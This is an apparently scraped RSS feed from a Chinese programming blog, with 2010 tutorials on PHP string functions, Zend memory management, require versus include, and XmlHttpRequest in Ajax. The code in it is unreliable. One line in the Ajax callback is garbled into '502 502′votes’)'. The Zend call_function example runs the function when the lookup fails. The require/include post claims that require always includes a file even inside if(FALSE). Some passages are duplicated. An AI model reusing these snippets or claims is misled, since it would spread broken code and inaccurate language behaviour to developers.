<p>PHP支持print()<a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" class="st_tag internal_tag" rel="tag" title="标签 函数 下的日志">函数</a>，它和echo一样，唯一的差别就是print()返回一个整型值，一直为1。除了print(),还有printf()和sprintf(). 写到这里，你肯定会想，怎么和C一样呢。它们的工作方式一样，差别是printf()将结果输出到浏览器，而sprintf()这是输出到变量。</p>
<p>看看它们的定义吧。</p>
<p>int printf ( string format [, mixed args [, mixed ]] )</p>
<p>string sprintf ( string format [, mixed args [, mixed ]] )</p>
<p>改变字符串的大小写。</p>
<p>strtolower将字符串变为小写</p>
<p>strtoupper将字符串变为大写</p>
<p>ucfirst将字符串的第一个字符大写。</p>
<p>ucwords 将字符串中的每一个单词的第一个字符变为大写。</p>
<p>格式化字符，以便存储。</p>
<p>其实就是为了替换引号，反斜杠，NULL等，因为它们有的时候不适合于很多场合，比如存储到数据库。为了达到目的，addslashes是一个不错的选择，它使用反斜线引用字符串。为了在显示数据，需要在之前调用stripslashes，否则反斜杠会显示出来的。</p>
<p>字符串比较</p>
<p>strcmp,strcasecmp,strnatcmp,有时间再查一下</p>
<p>字符串长度请调用strlen.</p>
<p>字符串连接与分割</p>
<p>explode类似于C#里的Split函数。例如：</p>
<p>&lt;?php<br />
$str = “Is yours name reilly?”;<br />
$var=explode(” “,$str);<br />
echo $var[0];//输出：Is<br />
echo $var[1];//输出:yours<br />
?&gt;</p>
<p>implode()和join()提供的功能一样，正好与explode()相反，它们将多个字符换合并起来。</p>
<p>strtok()和split类似，但是它一次只取出一个。</p>
<p>为了取得子字符串，调用substr()吧。</p>
<p>查找字符串中的字符串</p>
<p>可以调用strstr(),strchr(),strrchr()以及stristr().记住，strchr()是strstr()的别名，查找第一次出现的地方。strrchr()，查找最后一个字符串出现的地方。</p>
<p>stristr()和strstr()的区别是前者不区分大小写。</p>
<p>查找字符串的位置可以使用strpos()以及strrpos().</p>
<p>替换的话，调用str_replace()以及substr_replace().</p>
<p>以上介绍都是最常用的，如果想得到更多字符串的函数以及函数的信息，参考PHP的函数文档。</p>
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		<pubDate>Sun, 25 Jul 2010 17:15:34 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<category><![CDATA[错误]]></category>

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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/peeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一、 内存 　　在PHP中，填充一个字符串变量相当简单，这只需要一个语句”"即可，并且该字符串能够被自由地修改、拷贝和移动。而在C语言中，尽管你能够编写例如”char *str = “hello world “;”这样的一个简单的静态字符串;但是，却不能修改该字符串，因为它生存于程序空间内。为了创建一个可操纵的字符串，你必须分配一个内存块，并且通过一个函数(例如strdup())来复制其内容。 以下为引用的内容： 　　{ 　　char *str; 　　str = strdup(“hello world”); 　　if (!str) { 　　fprintf(stderr， “Unable to allocate memory!”); 　　} 　　} 　　由于后面我们将分析的各种原因，传统型内存管理函数(例如malloc()，free()，strdup()，realloc()，calloc()，等等)几乎都不能直接为PHP源代码所使用。 　　二、 释放内存 　　在几乎所有的平台上，内存管理都是通过一种请求和释放模式实现的。首先，一个应用程序请求它下面的层(通常指”操作系统”)：”我想使用一些内存空间”。如果存在可用的空间，操作系统就会把它提供给该程序并且打上一个标记以便不会再把这部分内存分配给其它程序。 　　当应用程序使用完这部分内存，它应该被返回到OS;这样以来，它就能够被继续分配给其它程序。如果该程序不返回这部分内存，那么OS无法知道是否这块内存不再使用并进而再分配给另一个进程。如果一个内存块没有释放，并且所有者应用程序丢失了它，那么，我们就说此应用程序”存在漏洞”，因为这部分内存无法再为其它程序可用。 　　在一个典型的客户端应用程序中，较小的不太经常的内存泄漏有时能够为OS所”容忍”，因为在这个进程稍后结束时该泄漏内存会被隐式返回到OS。这并没有什么，因为OS知道它把该内存分配给了哪个程序，并且它能够确信当该程序终止时不再需要该内存。 　　而对于长时间运行的服务器守护程序，包括象Apache这样的web服务器和扩展php模块来说，进程往往被设计为相当长时间一直运行。因为OS不能清理内存使用，所以，任何程序的泄漏-无论是多么小-都将导致重复操作并最终耗尽所有的系统资源。 　　现在，我们不妨考虑用户空间内的stristr()函数;为了使用大小写不敏感的搜索来查找一个字符串，它实际上创建了两个串的各自的一个小型副本，然后执行一个更传统型的大小写敏感的搜索来查找相对的偏移量。然而，在定位该字符串的偏移量之后，它不再使用这些小写版本的字符串。如果它不释放这些副本，那么，每一个使用stristr()的脚本在每次调用它时都将泄漏一些内存。最后，web服务器进程将拥有所有的系统内存，但却不能够使用它。 　　你可以理直气壮地说，理想的解决方案就是编写良好、干净的、一致的代码。这当然不错;但是，在一个象PHP解释器这样的环境中，这种观点仅对了一半。 　　三、 错误处理 　　为了实现”跳出”对用户空间脚本及其依赖的扩展函数的一个活动请求，需要使用一种方法来完全”跳出”一个活动请求。这是在Zend引擎内实现的：在一个请求的开始设置一个”跳出”地址，然后在任何die()或exit()调用或在遇到任何关键错误(E_ERROR)时执行一个longjmp()以跳转到该”跳出”地址。 　　尽管这个”跳出”进程能够简化程序执行的流程，但是，在绝大多数情况下，这会意味着将会跳过资源清除代码部分(例如free()调用)并最终导致出现内存漏洞。现在，让我们来考虑下面这个简化版本的处理函数调用的引擎代码： 以下为引用的内容： 　　void call_function(const char *fname， int fname_len TSRMLS_DC){ 　　zend_function *fe; 　　char *lcase_fname; 　　/* PHP函数名是大小写不敏感的， 　　*为了简化在函数表中对它们的定位， 　　*所有函数名都隐含地翻译为小写的 [...]]]></description>
			<content:encoded><![CDATA[<p>一、 内存</p>
<p>　　在PHP中，填充一个字符串变量相当简单，这只需要一个语句”"即可，并且该字符串能够被自由地修改、拷贝和移动。而在C语言中，尽管你能够编写例如”char *str = “hello world “;”这样的一个简单的静态字符串;但是，却不能修改该字符串，因为它生存于程序空间内。为了创建一个可操纵的字符串，你必须分配一个内存块，并且通过一个函数(例如strdup())来复制其内容。</p>
<p>以下为引用的内容：</p>
<p>　　{</p>
<p>　　char *str;</p>
<p>　　str = strdup(“hello world”);</p>
<p>　　if (!str) {</p>
<p>　　fprintf(stderr， “Unable to allocate memory!”);</p>
<p>　　}</p>
<p>　　}</p>
<p>　　由于后面我们将分析的各种原因，传统型内存管理函数(例如malloc()，free()，strdup()，realloc()，calloc()，等等)几乎都不能直接为PHP源代码所使用。<span id="more-495"></span></p>
<p>　　二、 释放内存</p>
<p>　　在几乎所有的平台上，内存管理都是通过一种请求和释放模式实现的。首先，一个应用程序请求它下面的层(通常指”操作系统”)：”我想使用一些内存空间”。如果存在可用的空间，操作系统就会把它提供给该程序并且打上一个标记以便不会再把这部分内存分配给其它程序。</p>
<p>　　当应用程序使用完这部分内存，它应该被返回到OS;这样以来，它就能够被继续分配给其它程序。如果该程序不返回这部分内存，那么OS无法知道是否这块内存不再使用并进而再分配给另一个进程。如果一个内存块没有释放，并且所有者应用程序丢失了它，那么，我们就说此应用程序”存在漏洞”，因为这部分内存无法再为其它程序可用。</p>
<p>　　在一个典型的客户端应用程序中，较小的不太经常的内存泄漏有时能够为OS所”容忍”，因为在这个进程稍后结束时该泄漏内存会被隐式返回到OS。这并没有什么，因为OS知道它把该内存分配给了哪个程序，并且它能够确信当该程序终止时不再需要该内存。</p>
<p>　　而对于长时间运行的服务器守护程序，包括象Apache这样的web服务器和扩展php模块来说，进程往往被设计为相当长时间一直运行。因为OS不能清理内存使用，所以，任何程序的泄漏-无论是多么小-都将导致重复操作并最终耗尽所有的系统资源。</p>
<p>　　现在，我们不妨考虑用户空间内的stristr()<a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" class="st_tag internal_tag" rel="tag" title="标签 函数 下的日志">函数</a>;为了使用大小写不敏感的搜索来查找一个字符串，它实际上创建了两个串的各自的一个小型副本，然后执行一个更传统型的大小写敏感的搜索来查找相对的偏移量。然而，在定位该字符串的偏移量之后，它不再使用这些小写版本的字符串。如果它不释放这些副本，那么，每一个使用stristr()的脚本在每次调用它时都将泄漏一些内存。最后，web服务器进程将拥有所有的系统内存，但却不能够使用它。</p>
<p>　　你可以理直气壮地说，理想的解决方案就是编写良好、干净的、一致的代码。这当然不错;但是，在一个象PHP解释器这样的环境中，这种观点仅对了一半。</p>
<p>　　三、 错误处理</p>
<p>　　为了实现”跳出”对用户空间脚本及其依赖的扩展函数的一个活动请求，需要使用一种方法来完全”跳出”一个活动请求。这是在Zend引擎内实现的：在一个请求的开始设置一个”跳出”地址，然后在任何die()或exit()调用或在遇到任何关键错误(E_ERROR)时执行一个longjmp()以跳转到该”跳出”地址。</p>
<p>　　尽管这个”跳出”进程能够简化程序执行的流程，但是，在绝大多数情况下，这会意味着将会跳过资源清除代码部分(例如free()调用)并最终导致出现内存漏洞。现在，让我们来考虑下面这个简化版本的处理函数调用的引擎代码：</p>
<p>以下为引用的内容：</p>
<p>　　void call_function(const char *fname， int fname_len TSRMLS_DC){</p>
<p>　　zend_function *fe;</p>
<p>　　char *lcase_fname;</p>
<p>　　/* PHP函数名是大小写不敏感的，</p>
<p>　　*为了简化在函数表中对它们的定位，</p>
<p>　　*所有函数名都隐含地翻译为小写的</p>
<p>　　*/</p>
<p>　　lcase_fname = estrndup(fname， fname_len);</p>
<p>　　zend_str_tolower(lcase_fname， fname_len);</p>
<p>　　if (zend_hash_find(EG(function_table)，lcase_fname， fname_len + 1， (void **)&amp;fe) == FAILURE) {</p>
<p>　　zend_execute(fe-&gt;op_array TSRMLS_CC);</p>
<p>　　} else {</p>
<p>　　php_error_docref(NULL TSRMLS_CC， E_ERROR，”Call to undefined function: %s()”， fname);</p>
<p>　　}</p>
<p>　　efree(lcase_fname);</p>
<p>　　}</p>
<p>　　当执行到php_error_docref()这一行时，内部错误处理器就会明白该错误级别是critical，并相应地调用longjmp()来中断当前程序流程并离开call_function()函数，甚至根本不会执行到efree(lcase_fname)这一行。你可能想把efree()代码行移动到zend_error()代码行的上面;但是，调用这个call_function()例程的代码行会怎么样呢?fname本身很可能就是一个分配的字符串，并且，在它被错误消息处理使用完之前，你根本不能释放它。</p>
<p>　　注意，这个php_error_docref()函数是trigger_error()函数的一个内部等价实现。它的第一个参数是一个将被添加到docref的可选的文档引用。第三个参数可以是任何我们熟悉的E_*家族常量，用于指示错误的严重程度。第四个参数(最后一个)遵循printf()风格的格式化和变量参数列表式样。</p>
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		<title>require和include的异同</title>
		<link>http://www.5bay.cn/network-programming/requireeecludexi.html</link>
		<comments>http://www.5bay.cn/network-programming/requireeecludexi.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:55:41 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[include]]></category>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/requireeecludexi.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>第一点：require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。 就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。 第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含： &#60;!&#8211;p  if(FALSE){  require(&#8216;a.php&#8217;);  }  if(FALSE){  include(&#8216;b.php&#8217;);  } &#8211;&#62; 比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：） 同时可以看下require_once和include_once的区别。 require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。 include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。如同此语句名字暗示的那样，只会包括一次。 第一点：require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。 就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。 第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含： &#60;!&#8211;p  if(FALSE){  require(&#8216;a.php&#8217;);  }  if(FALSE){  include(&#8216;b.php&#8217;);  } &#8211;&#62; 比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：） [...]]]></description>
			<content:encoded><![CDATA[<p>第一点：require() 和 <a href="http://www.5bay.cn/tag/include" class="st_tag internal_tag" rel="tag" title="标签 include 下的日志">include</a>() 除了怎样处理失败之外在各方面都完全一样。<a href="http://www.5bay.cn/tag/include" class="st_tag internal_tag" rel="tag" title="标签 include 下的日志">include</a>() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。</p>
<p>就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。</p>
<p>第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含：<br />
&lt;!&#8211;p  if(FALSE){  require(&#8216;a.<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a>&#8217;);  }  if(FALSE){  include(&#8216;b.<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a>&#8217;);  } &#8211;&gt;</p>
<p>比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：）</p>
<p>同时可以看下require_once和include_once的区别。<br />
require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。<br />
include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。如同此语句名字暗示的那样，只会包括一次。</p>
<p>第一点：require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。</p>
<p>就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。</p>
<p>第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含：<br />
&lt;!&#8211;p  if(FALSE){  require(&#8216;a.php&#8217;);  }  if(FALSE){  include(&#8216;b.php&#8217;);  } &#8211;&gt;</p>
<p>比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：）</p>
<p>同时可以看下require_once和include_once的区别。<br />
require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。<br />
include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。如同此语句名字暗示的那样，只会包括一次。</p>
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		<title>Ajax的工作原理</title>
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		<pubDate>Sun, 25 Jul 2010 16:50:59 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Ajax的核心是JavaScript对象 XmlHttpRequest。该对象在Internet Explorer 5中首次引入，它是一种支持异步请求的技术。简而言之，XmlHttpRequest使您可以使用JavaScript向服务器提出请求并处理响应，而不阻塞用户。 　　在创建Web站点时，在客户端执行屏幕更新为用户提供了很大的灵活性。下面是使用Ajax可以完成的功能： * 动态更新购物车的物品总数，无需用户单击Update并等待服务器重新发送整个页面。 * 提升站点的性能，这是通过减少从服务器下载的数据量而实现的。例如，在Amazon的购物车页面，当更新篮子中的一项物品的数量时，会重新载入整个页面，这必须下载32K的数据。如果使用Ajax计算新的总量，服务器只会返回新的总量值，因此所需的带宽仅为原来的百分之一。 * 消除了每次用户输入时的页面刷新。例如，在Ajax中，如果用户在分页列表上单击Next，则服务器数据只刷新列表而不是整个页面。 * 直接编辑表格数据，而不是要求用户导航到新的页面来编辑数据。对于Ajax，当用户单击Edit时，可以将静态表格刷新为内容可编辑的表格。用户单击Done之后，就可以发出一个Ajax请求来更新服务器，并刷新表格，使其包含静态、只读的数据。 　　一切皆有可能！但愿它能够激发您开始开发自己的基于Ajax的站点。然而，在开始之前，让我们介绍一个现有的Web站点，它遵循传统的提交/等待/重新显示的范例，我们还将讨论Ajax如何提升用户体验。 原始的Ajax：直接使用XmlHttpRequest 　　如上所述，Ajax的核心是JavaScript对象XmlHttpRequest。下面的示例文章评价系统将带您熟悉Ajax的底层基本知识：http://tearesolutions.com/ajax-demo/raw-ajax.html。注：如果您已经在本地WebLogic容器中安装了ajax-demo.war，可以导航到http://localhost:7001/ajax-demo/raw-ajax.html， 　　浏览应用程序，参与投票，并亲眼看它如何运转。熟悉了该应用程序之后，继续阅读，进一步了解其工作原理细节。 　　首先，您拥有一些简单的定位点标记，它连接到一个JavaScriptcastVote(rank)函数。 function castVote(rank) { var url = “/ajax-demo/static-article-ranking.html”; var callback = processAjaxResponse; executeXhr(callback, url); } 　　该函数为您想要与之通信的服务器资源创建一个URL并调用内部函数executeXhr，提供一个回调JavaScript函数，一旦服务器响应可用，该函数就被执行。由于我希望它运行在一个简单的Apache环境中，“cast vote URL”只是一个简单的HTML页面。在实际情况中，被调用的URL将记录票数并动态地呈现包含投票总数的响应。 　　下一步是发出一个XmlHttpRequest请求： function executeXhr(callback, url) { // branch for native XMLHttpRequest object if (window.XMLHttpRequest) { req = new XMLHttpRequest(); req.onreadystatechange = [...]]]></description>
			<content:encoded><![CDATA[<p>Ajax的核心是JavaScript对象 XmlHttpRequest。该对象在Internet Explorer 5中首次引入，它是一种支持异步请求的技术。简而言之，XmlHttpRequest使您可以使用JavaScript向服务器提出请求并处理响应，而不阻塞用户。 </p>
<p>　　在创建Web站点时，在客户端执行屏幕更新为用户提供了很大的灵活性。下面是使用Ajax可以完成的功能： </p>
<p>* 动态更新购物车的物品总数，无需用户单击Update并等待服务器重新发送整个页面。<br />
* 提升站点的性能，这是通过减少从服务器下载的数据量而实现的。例如，在Amazon的购物车页面，当更新篮子中的一项物品的数量时，会重新载入整个页面，这必须下载32K的数据。如果使用Ajax计算新的总量，服务器只会返回新的总量值，因此所需的带宽仅为原来的百分之一。<br />
* 消除了每次用户输入时的页面刷新。例如，在Ajax中，如果用户在分页列表上单击Next，则服务器数据只刷新列表而不是整个页面。<br />
* 直接编辑表格数据，而不是要求用户导航到新的页面来编辑数据。对于Ajax，当用户单击Edit时，可以将静态表格刷新为内容可编辑的表格。用户单击Done之后，就可以发出一个Ajax请求来更新服务器，并刷新表格，使其包含静态、只读的数据。<br />
　　一切皆有可能！但愿它能够激发您开始开发自己的基于Ajax的站点。然而，在开始之前，让我们介绍一个现有的Web站点，它遵循传统的提交/等待/重新显示的范例，我们还将讨论Ajax如何提升用户体验。 <span id="more-482"></span></p>
<p>原始的Ajax：直接使用XmlHttpRequest </p>
<p>　　如上所述，Ajax的核心是JavaScript对象XmlHttpRequest。下面的示例文章评价系统将带您熟悉Ajax的底层基本知识：http://tearesolutions.com/ajax-demo/raw-ajax.<a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">html</a>。注：如果您已经在本地WebLogic容器中安装了ajax-demo.war，可以导航到http://localhost:7001/ajax-demo/raw-ajax.<a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">html</a>， </p>
<p>　　浏览应用程序，参与投票，并亲眼看它如何运转。熟悉了该应用程序之后，继续阅读，进一步了解其工作原理细节。<br />
　　首先，您拥有一些简单的定位点标记，它连接到一个JavaScriptcastVote(rank)函数。 </p>
<p>function castVote(rank) {<br />
var url = “/ajax-demo/static-article-ranking.html”;<br />
var callback = processAjaxResponse;<br />
executeXhr(callback, url);<br />
} </p>
<p>　　该函数为您想要与之通信的服务器资源创建一个URL并调用内部函数executeXhr，提供一个回调JavaScript函数，一旦服务器响应可用，该函数就被执行。由于我希望它运行在一个简单的Apache环境中，“cast vote URL”只是一个简单的HTML页面。在实际情况中，被调用的URL将记录票数并动态地呈现包含投票总数的响应。<br />
　　下一步是发出一个XmlHttpRequest请求： </p>
<p>function executeXhr(callback, url) {<br />
// branch for native XMLHttpRequest object<br />
if (window.XMLHttpRequest) {<br />
req = new XMLHttpRequest();<br />
req.onreadystatechange = callback;<br />
req.open(“GET”, url, true);<br />
req.send(null);<br />
} // branch for <a href="http://www.5bay.cn/tag/ie" class="st_tag internal_tag" rel="tag" title="标签 ie 下的日志">IE</a>/Windows ActiveX version<br />
else if (window.ActiveXObject) {<br />
req = new ActiveXObject(“Microsoft.<a href="http://www.5bay.cn/tag/xmlhttp" class="st_tag internal_tag" rel="tag" title="标签 xmlhttp 下的日志">XMLHTTP</a>”);<br />
if (req) {<br />
req.onreadystatechange = callback;<br />
req.open(“GET”, url, true);<br />
req.send();<br />
}<br />
}<br />
} </p>
<p>　　如您所见，执行一个XmlHttpRequest并不简单，但非常直观。和平常一样，在JavaScript领域，大部分的工作量都花在确保浏览器兼容方面。在这种情况下，首先要确定XmlHttpRequest是否可用。如果不能用，很可能要使用Internet Explorer，这样就要使用所提供的ActiveX实现。 </p>
<p>executeXhr()方法中最关键的部分是这两行： </p>
<p>req.onreadystatechange = callback;<br />
req.open(“GET”, url, true); </p>
<p>　　第一行定义了JavaScript回调函数，您希望一旦响应就绪它就自动执行，而req.open()方法中所指定的“true”标志说明您想要异步执行该请求。<br />
　　一旦服务器处理完XmlHttpRequest并返回给浏览器，使用req.onreadystatechange指派所设置的回调方法将被自动调用。<br />
function processAjaxResponse() {<br />
// only if req shows “loaded”<br />
if (req.readyState == 4) {<br />
// only if “OK”<br />
if (req.status == 200) {<br />
502 502&#8242;votes&#8217;).innerHTML = req.responseText;<br />
} else {<br />
alert(“There was a problem retrieving the XML data:<br />
” +<br />
req.statusText);<br />
}<br />
}<br />
} </p>
<p>　　该代码相当简洁，并且使用了几个幻数，这使得难以一下子看出发生了什么。为了弄清楚这一点，下面的表格（引用自http://developer.apple.com/internet/webcontent/xmlhttpreq.html）列举了常用的XmlHttpRequest对象属性。 </p>
<p>属性 </p>
<p>描述 </p>
<p>onreadystatechange </p>
<p>每次状态改变所触发事件的事件处理程序 </p>
<p>readyState </p>
<p>对象状态值： </p>
<p>* 0 = 未初始化（uninitialized）<br />
* 1 = 正在加载（loading）<br />
* 2 = 加载完毕（loaded）<br />
* 3 = 交互（interactive）<br />
* 4 = 完成（complete） </p>
<p>responseText </p>
<p>从服务器进程返回的数据的字符串形式 </p>
<p>responseXML </p>
<p>从服务器进程返回的DOM兼容的文档数据对象 </p>
<p>status </p>
<p>从服务器返回的数字代码，比如404（未找到）或200（就绪） </p>
<p>statusText </p>
<p>伴随状态码的字符串信息 </p>
<p>　　现在processVoteResponse()函数开始显示出其意义了。它首先检查 XmlHttpRequest的整体状态以保证它已经完成（readyStatus == 4），然后根据服务器的设定询问请求状态。如果一切正常（status == 200）,就使用innerHTML属性重写DOM的“votes”节点的内容。 </p>
<p>　　既然您亲眼看到了XmlHttpRequest对象是如何工作的，就让我们利用一个旨在简化JavaScript与Java应用程序之间的异步通信的框架来对具体的细节进行抽象。</p>
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		<title>AJAX的各种控件和类库</title>
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		<pubDate>Sun, 25 Jul 2010 16:49:49 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajax.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Ajax控件和类库现在真的太多了，不知不觉中增加了Ajax的神秘性和复杂性，看到版内很多人为此费解和伤神，决定发此贴谈谈本人对Ajax的观点，希望能让大家对Ajax有一个本质的认识。 　　观点一：Ajax和服务器端技术毫不相关 　　严格的说，与传统web开发相比，Ajax是完完全全的客户端技术。由于很多控件封装了客户端和服务器端的通信过程，因此很多问题也因通信而起。事实上，不论何种Ajax技术，服务器端都是返回的一个纯文本流，再由客户端来处理这个文本。这段文本可以是xml格式，也可以是一个Html片段，也可以是一段JavaScript脚本，或者仅是一个字符串。服务器端仅仅是作为一个数据接口，客户端使用XMLHttpRequest对象来请求这个页面，服务器端在页面内写入结果文本，这个过程和普通的web开发没有任何区别。所不同的只是，客户端在异步获取结果后，不是直接显示在页面，而是由客户端的Javascript脚本处理后再显示在页面。至于各种控件所谓的能返回DataSet对象，Date对象，或者其他的数据类型，都是封装了这个处理过程的结果。 　　观点二：DOM模型是Ajax最本质的技术 　　之所以没有把XMLHttpRequest列为最本质的技术，因为本人觉得它实在是太简单了，它只是可以让浏览器在后台请求一个页面，并将其内容交给JavaScript处理。真正的核心应该是：DOM模型，即文档对象模型。在DOM模型里，Html标记都被认为是一个对象，例如：div对象，table对象等等。DOM模型就规定了这些对象所具有的属性、方法和事件。通过这些性质，可以对一个已经显示于浏览器的页面进行内容的修改，例如增加节点、修改节点位置，删除节点等等。而不仅仅是一个innerHTML属性这么简单，虽然这是一个很有用的属性。 　　观点三：在使用Ajax控件前理解它们的实现 　　使用Ajax控件的确可以提高效率，但如果你空中楼阁般使用控件，那就得不偿失了。从一个控件换到另外一个控件又会有一个漫长的学习曲线。所以应该从底层了解其，况且Ajax实在不是什么高深的技术。其实任何东西的最底层其实都是简单的，但如果封装了这些底层的东西，事情会变得复杂和难以理解。以Asp.net为例，它的定制特性可以使得只要在方法前加上[ajax method]类似这样的标志就可以称为一个异步方法，相信这使得Asp.net的Ajax开发显得更加“高效”或者是“神秘”，而更多的事情则被封装了。同样记住一条，任何对服务器端的请求仅仅是返回纯文本，我们不一定要依赖于封装好的处理过程，而完全可以自己来实现。 　　观点四：学好JavaScript 　　在大多数人看来，JavaScript总不是那么一种正规的语言，随便copy一段就碰巧能运行，学过c之类的人，一看也能看懂，而且在浏览器中常常有脚本错误提示，所以潜意识觉得总不能付之以大任。事实上，要学好Ajax，这就完全是一种错误的看法。javascript作为一种脚本语言，其语法的确不是很严格，但并不妨碍其完成诸多复杂的任务，没有JavaScript，就没有Ajax。所以本人强烈建议，学Ajax前，一定要好好研究一番JavaScript，一般来讲，如果能顺利看懂prototype框架的代码（如：prototype-1.3.1.js），你的JavaScript水平就基本过关了。同时对DOM模型也可以算有一个基本的了解。 　　观点五：Ajax点缀：CSS 　　用JavaScript控制CSS其实很简单，基本上每个DOM对象都有一个style对象，只要把css属性里的”-”去掉，并让随后的字母变为大写就可以作为属性使用了，例如：element.style.backgroundColor=”#f00&#8243;;在css是：选择符 {background-color:#f00} 　　一口气说这么多，希望对大家有点用处。 相关博文2010年07月26日 -- XMLHTTP对象封装技术 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- 了解Ajax中的Get和Post (0)2010年07月26日 -- PHP和Socket简介 (0)2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- AJAX初学:IE缓存页面的问题 (0)2010年07月26日 -- ajax基础知识:js事件触发大全 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- [...]]]></description>
			<content:encoded><![CDATA[<p>Ajax控件和类库现在真的太多了，不知不觉中增加了Ajax的神秘性和复杂性，看到版内很多人为此费解和伤神，决定发此贴谈谈本人对Ajax的观点，希望能让大家对Ajax有一个本质的认识。 </p>
<p>　　观点一：Ajax和服务器端技术毫不相关 </p>
